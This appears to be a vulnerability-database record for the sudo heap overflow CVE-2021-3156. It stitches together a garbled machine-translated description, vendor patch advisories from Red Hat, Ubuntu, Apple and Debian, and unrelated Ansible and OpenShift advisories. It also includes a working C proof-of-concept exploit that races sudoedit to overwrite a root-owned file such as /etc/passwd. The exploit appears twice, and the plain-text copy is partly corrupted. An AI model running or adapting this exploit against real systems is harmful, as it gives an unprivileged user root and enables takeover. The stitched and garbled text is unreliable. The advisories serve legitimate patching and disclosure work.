var-202101-1926
Vulnerability from variot
Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character. sudo has a heap-based buffer overflow due to the implementation of escaping special characters set in command arguments (CWE-122) Vulnerability exists. 2021 Year 2 Moon 5 As of the date macOS , AIX , Solaris It has been reported that it may also be affected by the virus, but it has not been confirmed by the finder. note that, 2021 Year 2 Moon 9 On the day Apple has released a security update to address this issue.A local third party can elevate privileges and execute commands with administrator privileges. Sensormatic Electronics Company ( Johnson Controls subsidiary) Illustra is a surveillance and security camera system. Illustra includes vulnerabilities related to boundary condition determination ( CWE-193 , CVE-2021-3156 ) exists.Installed in the product by a third party under certain conditions Linux Operating system administrator privileges can be obtained. 7.3) - x86_64
-
Exploit Title: Local Privilege Escalation - LPE
Authors and Contributors: cts, help from r4j, debug by nu11secur1ty
Date: 30.01.2021
Vendor: https://www.sudo.ws/
Link: https://www.sudo.ws/download.html
CVE: CVE-2021-3156
[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty) [+] Website: https://www.nu11secur1ty.com/ [+] Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021
[Exploit Program Code]
// Exploit by @gf_256 aka cts // With help from r4j // Debug by @nu11secur1ty // Original advisory by Baron Samedit of Qualys
// Tested on Ubuntu 18.04 and 20.04 & 20.04.01 // You will probably need to adjust RACE_SLEEP_TIME.
include
include
include
include
include
include
include
include
include
include
include
include
include
include
// !!! best value of this varies from system-to-system !!! // !!! you will probably need to tune this !!!
define RACE_SLEEP_TIME 10000
char target_file; char src_file;
size_t query_target_size() { struct stat st; stat(target_file, &st); return st.st_size; }
char read_src_contents() { FILE f = fopen(src_file, "rb"); if (!f) { puts("oh no baby what are you doing :("); abort(); } fseek(f, 0, SEEK_END); long fsize = ftell(f); fseek(f, 0, SEEK_SET); char *content = malloc(fsize + 1); fread(content, 1, fsize, f); fclose(f); return content; }
char get_my_username() { // getlogin can return incorrect result (for example, root under su)! struct passwd pws = getpwuid(getuid()); return strdup(pws->pw_name); }
int main(int my_argc, char **my_argv) { puts("CVE-2021-3156 PoC by @gf_256"); puts("original advisory by Baron Samedit");
if (my_argc != 3) {
puts("./meme <target file> <src file>");
puts("Example: ./meme /etc/passwd my_fake_passwd_file");
return 1;
}
target_file = my_argv[1];
src_file = my_argv[2];
printf("we will overwrite %s with shit from %s\n", target_file,
src_file);
char* myusername = get_my_username();
printf("hi, my name is %s\n", myusername);
size_t initial_size = query_target_size();
printf("%s is %zi big right now\n", target_file, initial_size);
char* shit_to_write = read_src_contents();
char memedir[1000];
char my_symlink[1000];
char overflow[1000];
char* bigshit = calloc(1,0x10000);
memset(bigshit, 'A', 0xffff); // need a big shit in the stack so the
write doesn't fail with bad address
char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\",
overflow,
NULL
};
char *envp[] = {
"\n\n\n\n\n", // put some fuckin newlines here to separate our real
contents from the junk shit_to_write, "SUDO_ASKPASS=/bin/false",
"LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ", bigshit, NULL };
puts("ok podracing time bitches");
// Boom =)
// for (int i = 0; i < 5000; i++)
for (int i = 0; i < 3000; i++) {
sprintf(memedir,
"ayylmaobigchungussssssssssss00000000000000000000000000%08d", i); sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir); sprintf(my_symlink, "%s/%s", memedir, myusername); puts(memedir);
if (access(memedir, F_OK) == 0) {
printf("dude, %s already exists, do it from a clean working
dir\n", memedir); return 1; }
pid_t childpid = fork();
if (childpid) { // parent
usleep(RACE_SLEEP_TIME);
mkdir(memedir, 0700);
symlink(target_file, my_symlink);
waitpid(childpid, 0, 0);
} else { // child
setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race
reliability execve("/usr/bin/sudoedit", argv, envp); // noreturn puts("execve fails?!"); abort(); }
if (query_target_size() != initial_size) {
puts("target file has a BRUH MOMENT!!!! SUCCess???");
system("xdg-open 'https://www.youtube.com/watch?v=cj_8X1cyVFc'");
// ayy lmao return 0; } }
puts("Failed?");
puts("if all the meme dirs are owned by root, the usleep needs to be
decreased."); puts("if they're all owned by you, the usleep needs to be increased");
return 0;
}
[Vendor] Sudo
[Vulnerability Type] Buffer Overflow Local Privilege Escalation
[CVE Reference] Sudo before 1.9.5p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
[Security Issue] Taking control of the Linux system Vulnerabilty version: before 1.9.5p2
[Video] https://www.youtube.com/watch?v=L-dEIYEQd1E
[Conclusion and Fix] https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156 https://www.youtube.com/watch?v=zf8FXOFWZKs
@nu11secur1ty https://www.nu11secur1ty.com/ . Summary:
Red Hat Ansible Automation Platform Resource Operator 1.2 (technical preview) images that fix several security issues. Description:
Red Hat Ansible Automation Platform Resource Operator container images with security fixes.
Ansible Automation Platform manages Ansible Platform jobs and workflows that can interface with any infrastructure on a Red Hat OpenShift Container Platform cluster, or on a traditional infrastructure that is running off-cluster. Solution:
Before applying this update, make sure all previously released errata relevant to your system have been applied. Bugs fixed (https://bugzilla.redhat.com/):
1914774 - CVE-2021-20178 ansible: user data leak in snmp_facts module 1915808 - CVE-2021-20180 ansible module: bitbucket_pipeline_variable exposes secured values 1916813 - CVE-2021-20191 ansible: multiple modules expose secured values 1925002 - CVE-2021-20228 ansible: basic.py no_log with fallback option 1939349 - CVE-2021-3447 ansible: multiple modules expose secured values
-
8.1) - aarch64, ppc64le, s390x, x86_64
This advisory contains the following OpenShift Virtualization 2.6.0 images:
RHEL-8-CNV-2.6 =============kubevirt-cpu-node-labeller-container-v2.6.0-5 kubevirt-cpu-model-nfd-plugin-container-v2.6.0-5 node-maintenance-operator-container-v2.6.0-13 kubevirt-vmware-container-v2.6.0-5 virtio-win-container-v2.6.0-5 kubevirt-kvm-info-nfd-plugin-container-v2.6.0-5 bridge-marker-container-v2.6.0-9 kubevirt-template-validator-container-v2.6.0-9 kubevirt-v2v-conversion-container-v2.6.0-6 kubemacpool-container-v2.6.0-13 kubevirt-ssp-operator-container-v2.6.0-40 hyperconverged-cluster-webhook-container-v2.6.0-73 hyperconverged-cluster-operator-container-v2.6.0-73 ovs-cni-plugin-container-v2.6.0-10 cnv-containernetworking-plugins-container-v2.6.0-10 ovs-cni-marker-container-v2.6.0-10 cluster-network-addons-operator-container-v2.6.0-16 hostpath-provisioner-container-v2.6.0-11 hostpath-provisioner-operator-container-v2.6.0-14 vm-import-virtv2v-container-v2.6.0-21 kubernetes-nmstate-handler-container-v2.6.0-19 vm-import-controller-container-v2.6.0-21 vm-import-operator-container-v2.6.0-21 virt-api-container-v2.6.0-111 virt-controller-container-v2.6.0-111 virt-handler-container-v2.6.0-111 virt-operator-container-v2.6.0-111 virt-launcher-container-v2.6.0-111 cnv-must-gather-container-v2.6.0-54 virt-cdi-importer-container-v2.6.0-24 virt-cdi-cloner-container-v2.6.0-24 virt-cdi-controller-container-v2.6.0-24 virt-cdi-uploadserver-container-v2.6.0-24 virt-cdi-apiserver-container-v2.6.0-24 virt-cdi-uploadproxy-container-v2.6.0-24 virt-cdi-operator-container-v2.6.0-24 hco-bundle-registry-container-v2.6.0-582
Security Fix(es):
-
golang.org/x/crypto: Processing of crafted ssh-ed25519 public keys allows for panic (CVE-2020-9283)
-
golang: crypto/ssh: crafted authentication request can lead to nil pointer dereference (CVE-2020-29652)
-
gogo/protobuf: plugin/unmarshal/unmarshal.go lacks certain index validation (CVE-2021-3121)
-
golang.org/x/text: possibility to trigger an infinite loop in encoding/unicode could lead to crash (CVE-2020-14040)
-
golang: data race in certain net/http servers including ReverseProxy can lead to DoS (CVE-2020-15586)
-
golang: ReadUvarint and ReadVarint can read an unlimited number of bytes from invalid inputs (CVE-2020-16845)
-
jwt-go: access restriction bypass vulnerability (CVE-2020-26160)
-
golang-github-gorilla-websocket: integer overflow leads to denial of service (CVE-2020-27813)
-
golang: math/big: panic during recursive division of very large numbers (CVE-2020-28362)
-
containernetworking-cni: Arbitrary path injection via type field in CNI configuration (CVE-2021-20206)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Bugs fixed (https://bugzilla.redhat.com/):
1732329 - Virtual Machine is missing documentation of its properties in yaml editor
1783192 - Guest kernel panic when start RHEL6.10 guest with q35 machine type and virtio disk in cnv
1791753 - [RFE] [SSP] Template validator should check validations in template's parent template
1804533 - CVE-2020-9283 golang.org/x/crypto: Processing of crafted ssh-ed25519 public keys allows for panic
1848954 - KMP missing CA extensions in cabundle of mutatingwebhookconfiguration
1848956 - KMP requires downtime for CA stabilization during certificate rotation
1853652 - CVE-2020-14040 golang.org/x/text: possibility to trigger an infinite loop in encoding/unicode could lead to crash
1853911 - VM with dot in network name fails to start with unclear message
1854098 - NodeNetworkState on workers doesn't have "status" key due to nmstate-handler pod failure to run "nmstatectl show"
1856347 - SR-IOV : Missing network name for sriov during vm setup
1856953 - CVE-2020-15586 golang: data race in certain net/http servers including ReverseProxy can lead to DoS
1859235 - Common Templates - after upgrade there are 2 common templates per each os-workload-flavor combination
1860714 - No API information from oc explain
1860992 - CNV upgrade - users are not removed from privileged SecurityContextConstraints
1864577 - [v2v][RHV to CNV non migratable source VM fails to import to Ceph-rbd / File system due to overhead required for Filesystem
1866593 - CDI is not handling vm disk clone
1867099 - CVE-2020-16845 golang: ReadUvarint and ReadVarint can read an unlimited number of bytes from invalid inputs
1868817 - Container-native Virtualization 2.6.0 Images
1873771 - Improve the VMCreationFailed error message caused by VM low memory
1874812 - SR-IOV: Guest Agent expose link-local ipv6 address for sometime and then remove it
1878499 - DV import doesn't recover from scratch space PVC deletion
1879108 - Inconsistent naming of "oc virt" command in help text
1881874 - openshift-cnv namespace is getting stuck if the user tries to delete it while CNV is running
1883232 - Webscale: kubevirt/CNV datavolume importer pod inability to disable sidecar injection if namespace has sidecar injection enabled but VM Template does NOT
1883371 - CVE-2020-26160 jwt-go: access restriction bypass vulnerability
1885153 - [v2v][RHV to CNv VM import] Wrong Network mapping do not show a relevant error message
1885418 - [openshift-cnv] issues with memory overhead calculation when limits are used
1887398 - [openshift-cnv][CNV] nodes need to exist and be labeled first, before the NodeNetworkConfigurationPolicy is applied
1889295 - [v2v][VMware to CNV VM import API] diskMappings: volumeMode Block is not passed on to PVC request.
1891285 - Common templates and kubevirt-config cm - update machine-type
1891440 - [v2v][VMware to CNV VM import API]Source VM with no network interface fail with unclear error
1892227 - [SSP] cluster scoped resources are not being reconciled
1893278 - openshift-virtualization-os-images namespace not seen by user
1893646 - [HCO] Pod placement configuration - dry run is not performed for all the configuration stanza
1894428 - Message for VMI not migratable is not clear enough
1894824 - [v2v][VM import] Pick the smallest template for the imported VM, and not always Medium
1894897 - [v2v][VMIO] VMimport CR is not reported as failed when target VM is deleted during the import
1895414 - Virt-operator is accepting updates to the placement of its workload components even with running VMs
1897635 - CVE-2020-28362 golang: math/big: panic during recursive division of very large numbers
1898072 - Add Fedora33 to Fedora common templates
1898840 - [v2v] VM import VMWare to CNV Import 63 chars vm name should not fail
1899558 - CNV 2.6 - nmstate fails to set state
1901480 - VM disk io can't worked if namespace have label kubemacpool
1902046 - Not possible to edit CDIConfig (through CDI CR / CDIConfig)
1902111 - CVE-2020-27813 golang-github-gorilla-websocket: integer overflow leads to denial of service
1903014 - hco-webhook pod in CreateContainerError
1903585 - [v2v] Windows 2012 VM imported from RHV goes into Windows repair mode
1904797 - [VMIO][vmware] A migrated RHEL/Windows VM starts in emergency mode/safe mode when target storage is NFS and target namespace is NOT "default"
1906199 - [CNV-2.5] CNV Tries to Install on Windows Workers
1907151 - kubevirt version is not reported correctly via virtctl
1907352 - VM/VMI link changes to kubevirt.io~v1~VirtualMachineInstance on CNV 2.6
1907691 - [CNV] Configuring NodeNetworkConfigurationPolicy caused "Internal error occurred" for creating datavolume
1907988 - VM loses dynamic IP address of its default interface after migration
1908363 - Applying NodeNetworkConfigurationPolicy for different NIC than default disables br-ex bridge and nodes lose connectivity
1908421 - [v2v] [VM import RHV to CNV] Windows imported VM boot failed: INACCESSIBLE BOOT DEVICE error
1908883 - CVE-2020-29652 golang: crypto/ssh: crafted authentication request can lead to nil pointer dereference
1909458 - [V2V][VMware to CNV VM import via api using VMIO] VM import to Ceph RBD/BLOCK fails on "qemu-img: /data/disk.img" error
1910857 - Provide a mechanism to enable the HotplugVolumes feature gate via HCO
1911118 - Windows VMI LiveMigration / shutdown fails on 'XML error: non unique alias detected: ua-')
1911396 - Set networkInterfaceMultiqueue false in rhel 6 template for e1000e interface
1911662 - el6 guests don't work properly if virtio bus is specified on various devices
1912908 - Allow using "scsi" bus for disks in template validation
1913248 - Creating vlan interface on top of a bond device via NodeNetworkConfigurationPolicy fails
1913320 - Informative message needed with virtctl image-upload, that additional step is needed from the user
1913717 - Users should have read permitions for golden images data volumes
1913756 - Migrating to Ceph-RBD + Block fails when skipping zeroes
1914177 - CNV does not preallocate blank file data volumes
1914608 - Obsolete CPU models (kubevirt-cpu-plugin-configmap) are set on worker nodes
1914947 - HPP golden images - DV shoudld not be created with WaitForFirstConsumer
1917908 - [VMIO] vmimport pod fail to create when using ceph-rbd/block
1917963 - [CNV 2.6] Unable to install CNV disconnected - requires kvm-info-nfd-plugin which is not mirrored
1919391 - CVE-2021-20206 containernetworking-cni: Arbitrary path injection via type field in CNI configuration
1920576 - HCO can report ready=true when it failed to create a CR for a component operator
1920610 - e2e-aws-4.7-cnv consistently failing on Hyperconverged Cluster Operator
1921650 - CVE-2021-3121 gogo/protobuf: plugin/unmarshal/unmarshal.go lacks certain index validation
1923979 - kubernetes-nmstate: nmstate-handler pod crashes when configuring bridge device using ip tool
1927373 - NoExecute taint violates pdb; VMIs are not live migrated
1931376 - VMs disconnected from nmstate-defined bridge after CNV-2.5.4->CNV-2.6.0 upgrade
- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
APPLE-SA-2021-02-09-1 macOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental Update, and macOS Mojave 10.14.6 Security Update 2021-002
macOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental Update, and macOS Mojave 10.14.6 Security Update 2021-002 addresses the following issues. Information about the security content is also available at https://support.apple.com/HT212177.
macOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental Update*, macOS Mojave 10.14.6 Security Update 2021-002
Intel Graphics Driver Available for: macOS Big Sur 11.2, macOS Catalina 10.15.7 Impact: An application may be able to execute arbitrary code with kernel privileges Description: An out-of-bounds write was addressed with improved input validation. CVE-2021-1805: ABC Research s.r.o. working with Trend Micro Zero Day Initiative
Intel Graphics Driver Available for: macOS Big Sur 11.2, macOS Catalina 10.15.7 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A race condition was addressed with additional validation. CVE-2021-1806: ABC Research s.r.o. working with Trend Micro Zero Day Initiative
Sudo Available for: macOS Big Sur 11.2, macOS Catalina 10.15.7, macOS Mojave 10.14.6 Impact: A local attacker may be able to elevate their privileges Description: This issue was addressed by updating to sudo version 1.9.5p2. CVE-2021-3156: Qualys
- After installing this update, the build number for macOS Catalina 10.15.7 is 19H524. ========================================================================== Ubuntu Security Notice USN-4705-1 January 26, 2021
sudo vulnerabilities
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 20.10
- Ubuntu 20.04 LTS
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS
Summary:
Several security issues were fixed in Sudo. A local attacker could possibly use this issue to obtain unintended access to the administrator account. (CVE-2021-3156)
It was discovered that the Sudo sudoedit utility incorrectly handled checking directory permissions. A local attacker could possibly use this issue to bypass file permissions and determine if a directory exists or not. (CVE-2021-23239)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 20.10: sudo 1.9.1-1ubuntu1.1 sudo-ldap 1.9.1-1ubuntu1.1
Ubuntu 20.04 LTS: sudo 1.8.31-1ubuntu1.2 sudo-ldap 1.8.31-1ubuntu1.2
Ubuntu 18.04 LTS: sudo 1.8.21p2-3ubuntu1.4 sudo-ldap 1.8.21p2-3ubuntu1.4
Ubuntu 16.04 LTS: sudo 1.8.16-0ubuntu1.10 sudo-ldap 1.8.16-0ubuntu1.10
In general, a standard system update will make all the necessary changes. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Important: sudo security update Advisory ID: RHSA-2021:0223-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2021:0223 Issue date: 2021-01-26 CVE Names: CVE-2021-3156 ==================================================================== 1. Summary:
An update for sudo is now available for Red Hat Enterprise Linux 7.6 Extended Update Support.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux ComputeNode EUS (v. 7.6) - x86_64 Red Hat Enterprise Linux ComputeNode Optional EUS (v. 7.6) - x86_64 Red Hat Enterprise Linux Server EUS (v. 7.6) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional EUS (v. 7.6) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server (v. 7) - aarch64, ppc64le, s390x Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7) - aarch64, ppc64le, s390x
- Description:
The sudo packages contain the sudo utility which allows system administrators to provide certain users with the permission to execute privileged commands, which are used for system management purposes, without having to log in as root.
Security Fix(es):
- sudo: Heap buffer overflow in argument parsing (CVE-2021-3156)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
- Bugs fixed (https://bugzilla.redhat.com/):
1917684 - CVE-2021-3156 sudo: Heap buffer overflow in argument parsing
- Package List:
Red Hat Enterprise Linux ComputeNode EUS (v. 7.6):
Source: sudo-1.8.23-3.el7_6.2.src.rpm
x86_64: sudo-1.8.23-3.el7_6.2.x86_64.rpm sudo-debuginfo-1.8.23-3.el7_6.2.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional EUS (v. 7.6):
x86_64: sudo-debuginfo-1.8.23-3.el7_6.2.i686.rpm sudo-debuginfo-1.8.23-3.el7_6.2.x86_64.rpm sudo-devel-1.8.23-3.el7_6.2.i686.rpm sudo-devel-1.8.23-3.el7_6.2.x86_64.rpm
Red Hat Enterprise Linux Server EUS (v. 7.6):
Source: sudo-1.8.23-3.el7_6.2.src.rpm
ppc64: sudo-1.8.23-3.el7_6.2.ppc64.rpm sudo-debuginfo-1.8.23-3.el7_6.2.ppc64.rpm
ppc64le: sudo-1.8.23-3.el7_6.2.ppc64le.rpm sudo-debuginfo-1.8.23-3.el7_6.2.ppc64le.rpm
s390x: sudo-1.8.23-3.el7_6.2.s390x.rpm sudo-debuginfo-1.8.23-3.el7_6.2.s390x.rpm
x86_64: sudo-1.8.23-3.el7_6.2.x86_64.rpm sudo-debuginfo-1.8.23-3.el7_6.2.x86_64.rpm
Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server (v. 7):
Source: sudo-1.8.23-3.el7_6.2.src.rpm
aarch64: sudo-1.8.23-3.el7_6.2.aarch64.rpm sudo-debuginfo-1.8.23-3.el7_6.2.aarch64.rpm
ppc64le: sudo-1.8.23-3.el7_6.2.ppc64le.rpm sudo-debuginfo-1.8.23-3.el7_6.2.ppc64le.rpm
s390x: sudo-1.8.23-3.el7_6.2.s390x.rpm sudo-debuginfo-1.8.23-3.el7_6.2.s390x.rpm
Red Hat Enterprise Linux Server Optional EUS (v. 7.6):
ppc64: sudo-debuginfo-1.8.23-3.el7_6.2.ppc.rpm sudo-debuginfo-1.8.23-3.el7_6.2.ppc64.rpm sudo-devel-1.8.23-3.el7_6.2.ppc.rpm sudo-devel-1.8.23-3.el7_6.2.ppc64.rpm
ppc64le: sudo-debuginfo-1.8.23-3.el7_6.2.ppc64le.rpm sudo-devel-1.8.23-3.el7_6.2.ppc64le.rpm
s390x: sudo-debuginfo-1.8.23-3.el7_6.2.s390.rpm sudo-debuginfo-1.8.23-3.el7_6.2.s390x.rpm sudo-devel-1.8.23-3.el7_6.2.s390.rpm sudo-devel-1.8.23-3.el7_6.2.s390x.rpm
x86_64: sudo-debuginfo-1.8.23-3.el7_6.2.i686.rpm sudo-debuginfo-1.8.23-3.el7_6.2.x86_64.rpm sudo-devel-1.8.23-3.el7_6.2.i686.rpm sudo-devel-1.8.23-3.el7_6.2.x86_64.rpm
Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7):
aarch64: sudo-debuginfo-1.8.23-3.el7_6.2.aarch64.rpm sudo-devel-1.8.23-3.el7_6.2.aarch64.rpm
ppc64le: sudo-debuginfo-1.8.23-3.el7_6.2.ppc64le.rpm sudo-devel-1.8.23-3.el7_6.2.ppc64le.rpm
s390x: sudo-debuginfo-1.8.23-3.el7_6.2.s390.rpm sudo-debuginfo-1.8.23-3.el7_6.2.s390x.rpm sudo-devel-1.8.23-3.el7_6.2.s390.rpm sudo-devel-1.8.23-3.el7_6.2.s390x.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2021-3156 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/security/vulnerabilities/RHSB-2021-002
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2021 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . Any local user (sudoers and non-sudoers) can exploit this flaw for root privilege escalation.
For the stable distribution (buster), this problem has been fixed in version 1.8.27-1+deb10u3.
We recommend that you upgrade your sudo packages
Show details on source website{
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"data": "Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via \"sudoedit -s\" and a command-line argument that ends with a single backslash character. sudo has a heap-based buffer overflow due to the implementation of escaping special characters set in command arguments (CWE-122) Vulnerability exists. 2021 Year 2 Moon 5 As of the date macOS , AIX , Solaris It has been reported that it may also be affected by the virus, but it has not been confirmed by the finder. note that, 2021 Year 2 Moon 9 On the day Apple has released a security update to address this issue.A local third party can elevate privileges and execute commands with administrator privileges. Sensormatic Electronics Company ( Johnson Controls subsidiary) Illustra is a surveillance and security camera system. Illustra includes vulnerabilities related to boundary condition determination ( CWE-193 , CVE-2021-3156 ) exists.Installed in the product by a third party under certain conditions Linux Operating system administrator privileges can be obtained. 7.3) - x86_64\n\n3. # Exploit Title: Local Privilege Escalation - LPE\n# Authors and Contributors: cts, help from r4j, debug by nu11secur1ty\n# Date: 30.01.2021\n# Vendor: https://www.sudo.ws/\n# Link: https://www.sudo.ws/download.html\n# CVE: CVE-2021-3156\n\n\n[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)\n[+] Website: https://www.nu11secur1ty.com/\n[+] Source:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021\n\n\n[Exploit Program Code]\n\n// Exploit by @gf_256 aka cts\n// With help from r4j\n// Debug by @nu11secur1ty\n// Original advisory by Baron Samedit of Qualys\n\n// Tested on Ubuntu 18.04 and 20.04 \u0026 20.04.01\n// You will probably need to adjust RACE_SLEEP_TIME. \n\n#include \u003cstdio.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cassert.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003csys/wait.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpwd.h\u003e\n\n// !!! best value of this varies from system-to-system !!!\n// !!! you will probably need to tune this !!!\n#define RACE_SLEEP_TIME 10000\n\nchar *target_file;\nchar *src_file;\n\nsize_t query_target_size()\n{\n struct stat st;\n stat(target_file, \u0026st);\n return st.st_size;\n}\n\nchar* read_src_contents()\n{\n FILE* f = fopen(src_file, \"rb\");\n if (!f) {\n puts(\"oh no baby what are you doing :(\");\n abort();\n }\n fseek(f, 0, SEEK_END);\n long fsize = ftell(f);\n fseek(f, 0, SEEK_SET);\n char *content = malloc(fsize + 1);\n fread(content, 1, fsize, f);\n fclose(f);\n return content;\n}\n\nchar* get_my_username()\n{\n // getlogin can return incorrect result (for example, root under su)!\n struct passwd *pws = getpwuid(getuid());\n return strdup(pws-\u003epw_name);\n}\n\nint main(int my_argc, char **my_argv)\n{\n puts(\"CVE-2021-3156 PoC by @gf_256\");\n puts(\"original advisory by Baron Samedit\");\n\n if (my_argc != 3) {\n puts(\"./meme \u003ctarget file\u003e \u003csrc file\u003e\");\n puts(\"Example: ./meme /etc/passwd my_fake_passwd_file\");\n return 1;\n }\n target_file = my_argv[1];\n src_file = my_argv[2];\n printf(\"we will overwrite %s with shit from %s\\n\", target_file,\nsrc_file);\n\n char* myusername = get_my_username();\n printf(\"hi, my name is %s\\n\", myusername);\n\n size_t initial_size = query_target_size();\n printf(\"%s is %zi big right now\\n\", target_file, initial_size);\n\n char* shit_to_write = read_src_contents();\n\n char memedir[1000];\n char my_symlink[1000];\n char overflow[1000];\n\n char* bigshit = calloc(1,0x10000);\n memset(bigshit, \u0027A\u0027, 0xffff); // need a big shit in the stack so the\nwrite doesn\u0027t fail with bad address\n\n char *argv[] = {\"/usr/bin/sudoedit\", \"-A\", \"-s\", \"\\\\\",\n overflow,\n NULL\n };\n\n char *envp[] = {\n \"\\n\\n\\n\\n\\n\", // put some fuckin newlines here to separate our real\ncontents from the junk\n shit_to_write,\n \"SUDO_ASKPASS=/bin/false\",\n\n\"LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\",\n bigshit,\n NULL\n };\n\n puts(\"ok podracing time bitches\");\n\n // Boom =)\n // for (int i = 0; i \u003c 5000; i++)\n for (int i = 0; i \u003c 3000; i++) {\n sprintf(memedir,\n\"ayylmaobigchungussssssssssss00000000000000000000000000%08d\", i);\n sprintf(overflow,\n\"11111111111111111111111111111111111111111111111111111111%s\", memedir);\n sprintf(my_symlink, \"%s/%s\", memedir, myusername);\n puts(memedir);\n\n if (access(memedir, F_OK) == 0) {\n printf(\"dude, %s already exists, do it from a clean working\ndir\\n\", memedir);\n return 1;\n }\n\n pid_t childpid = fork();\n if (childpid) { // parent\n usleep(RACE_SLEEP_TIME);\n mkdir(memedir, 0700);\n symlink(target_file, my_symlink);\n waitpid(childpid, 0, 0);\n } else { // child\n setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race\nreliability\n execve(\"/usr/bin/sudoedit\", argv, envp); // noreturn\n puts(\"execve fails?!\");\n abort();\n }\n\n if (query_target_size() != initial_size) {\n puts(\"target file has a BRUH MOMENT!!!! SUCCess???\");\n system(\"xdg-open \u0027https://www.youtube.com/watch?v=cj_8X1cyVFc\u0027\");\n// ayy lmao\n return 0;\n }\n }\n\n puts(\"Failed?\");\n puts(\"if all the meme dirs are owned by root, the usleep needs to be\ndecreased.\");\n puts(\"if they\u0027re all owned by you, the usleep needs to be increased\");\n\n\n return 0;\n}\n\n[Vendor]\nSudo\n\n\n[Vulnerability Type]\nBuffer Overflow Local Privilege Escalation\n\n[CVE Reference]\nSudo before 1.9.5p2 has a Heap-based Buffer Overflow, allowing privilege\nescalation to root via \"sudoedit -s\"\nand a command-line argument that ends with a single backslash character. \n\n[Security Issue]\nTaking control of the Linux system\nVulnerabilty version: before 1.9.5p2\n\n\n[Video]\nhttps://www.youtube.com/watch?v=L-dEIYEQd1E\n\n\n[Conclusion and Fix]\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156\nhttps://www.youtube.com/watch?v=zf8FXOFWZKs\n\n\n@nu11secur1ty\nhttps://www.nu11secur1ty.com/\n. Summary:\n\nRed Hat Ansible Automation Platform Resource Operator 1.2 (technical\npreview) images that fix several security issues. Description:\n\nRed Hat Ansible Automation Platform Resource Operator container images\nwith security fixes. \n\nAnsible Automation Platform manages Ansible Platform jobs and workflows\nthat can interface with any infrastructure on a Red Hat OpenShift Container\nPlatform cluster, or on a traditional infrastructure that is running\noff-cluster. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. Bugs fixed (https://bugzilla.redhat.com/):\n\n1914774 - CVE-2021-20178 ansible: user data leak in snmp_facts module\n1915808 - CVE-2021-20180 ansible module: bitbucket_pipeline_variable exposes secured values\n1916813 - CVE-2021-20191 ansible: multiple modules expose secured values\n1925002 - CVE-2021-20228 ansible: basic.py no_log with fallback option\n1939349 - CVE-2021-3447 ansible: multiple modules expose secured values\n\n5. 8.1) - aarch64, ppc64le, s390x, x86_64\n\n3. \n\nThis advisory contains the following OpenShift Virtualization 2.6.0 